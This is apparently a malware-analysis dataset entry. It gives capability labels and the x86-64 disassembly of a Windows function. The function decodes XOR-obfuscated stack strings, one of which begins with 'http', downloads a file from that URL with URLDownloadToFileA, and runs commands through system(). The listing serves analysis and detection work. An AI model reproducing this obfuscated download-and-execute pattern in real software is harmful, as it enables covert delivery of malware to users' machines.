Function at 0x140003150
Capabilities:
Contain obfuscated stackstrings
Download url
Execute command
Receive data

Disassembly:
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x14007b180]
xor rax, rsp
mov qword [rbp + 0x60], rax
lea rcx, [0x140067890]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 7], 0x5b005b37
mov cl, 0x5b
mov dword [rbp - 0xb], 0x373f7530
mov dword [rbp - 0xf], 0x3e2d322f
mov dword [rbp - 0x13], 0x3a35746f
mov dword [rbp - 0x17], 0x6262626d
mov dword [rbp - 0x1b], 0x62696e6b
mov dword [rbp - 0x1f], 0x6c636a6d
mov dword [rbp - 0x23], 0x626b6c62
mov dword [rbp - 0x27], 0x6a6a7468
mov dword [rbp - 0x2b], 0x636a6a62
mov dword [rbp - 0x2f], 0x686f6a68
mov dword [rbp - 0x33], 0x68696362
mov dword [rbp - 0x37], 0x6a626d6d
mov dword [rbp - 0x3b], 0x6a6a7428
mov dword [rbp - 0x3f], 0x2f353e36
mov dword [rbp - 0x43], 0x33383a2f
mov dword [rbp - 0x47], 0x2f3a7436
mov dword [rbp - 0x4b], 0x3438752b
mov dword [rbp - 0x4f], 0x2b3a3f29
mov dword [rbp - 0x53], 0x34382832
mov dword [rbp - 0x57], 0x3f75353f
mov dword [rbp - 0x5b], 0x38747461
mov dword [rbp - 0x5f], 0x282b2f2f
mov byte [rbp - 0x60], 0x33
lea rax, [rbp - 0x60]
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp - 5]
cmp rax, rcx
je 0x140003244
movzx ecx, byte [rbp - 4]
jmp 0x140003230
mov byte [rbp - 5], 1
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x40]
call fcn.140009550
nop
mov dword [rsp + 0x45], 0x1700177b
mov cl, reloc.WS2_32.dll_socket
mov dword [rsp + 0x41], 0x7b73397c
mov dword [rsp + 0x3d], 0x72617e63
mov dword [rsp + 0x39], 0x76794b64
mov dword [rsp + 0x35], 0x60787379
mov dword [rsp + 0x31], 0x7e404b2d
mov byte [rsp + 0x30], 0x54
lea rax, [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x47]
cmp rax, rcx
je 0x1400032b6
movzx ecx, byte [rsp + 0x48]
jmp 0x1400032a0
mov byte [rsp + 0x47], 1
lea rdx, [rsp + 0x30]
lea rcx, [rbp]
call fcn.140009550
nop
lea r8, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova r8, qword [rbp]
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rdx, qword [rbp + 0x40]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x65], 0x1700177b
mov cl, reloc.WS2_32.dll_socket
mov dword [rsp + 0x61], 0x7b73397c
mov dword [rsp + 0x5d], 0x72617e63
mov dword [rsp + 0x59], 0x76794b64
mov dword [rsp + 0x55], 0x60787379
mov dword [rsp + 0x51], 0x7e404b2d
mov byte [rsp + 0x50], 0x54
lea rax, [rsp + 0x50]
nop word [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x67]
cmp rax, rcx
je 0x140003356
movzx ecx, byte [rsp + 0x68]
jmp 0x140003340
mov byte [rsp + 0x67], 1
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.140009550
nop
call fcn.140002a10
test eax, eax
je 0x140003383
lea rdx, [rbp + 0x20]
mov ecx, eax
call fcn.140002ce0
jmp 0x14000340b
mov dword [rbp - 0x66], 0x2c002c26
mov cl, 0x2c
mov dword [rbp - 0x6a], 0x2584f49
mov dword [rbp - 0x6e], 0x4642450c
mov dword [rbp - 0x72], 0x43580c4b
mov dword [rbp - 0x76], 0x4245555e
mov dword [rbp - 0x7a], 0x580c495e
mov dword [rbp - 0x7e], 0x434a494e
mov dword [rsp + 0x7e], 0xc61495a
mov dword [rsp + 0x7a], 0x456a0c42
mov dword [rsp + 0x76], 0x495c430c
mov dword [rsp + 0x72], 0x495f4d49
mov word [rsp + 0x70], 0x407c
lea rax, [rsp + 0x70]
xor byte [rax], cl
inc rax
lea rcx, [rbp - 0x64]
cmp rax, rcx
je 0x1400033f6
movzx ecx, byte [rbp - 0x63]
jmp 0x1400033e2
mov byte [rbp - 0x64], 1
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009a40
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 1
lea r8d, [rdx - 2]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int____ptr64]
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14000346d
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003468
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003468
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400593d4
movdqa xmm0, xmmword [0x1400679d0]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400034bc
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400034b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400593d4
movdqa xmm0, xmmword [0x1400679d0]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000350b
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003506
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003506
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400593d4
xor eax, eax
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.1400590d0
add rsp, 0x170
pop rbp
ret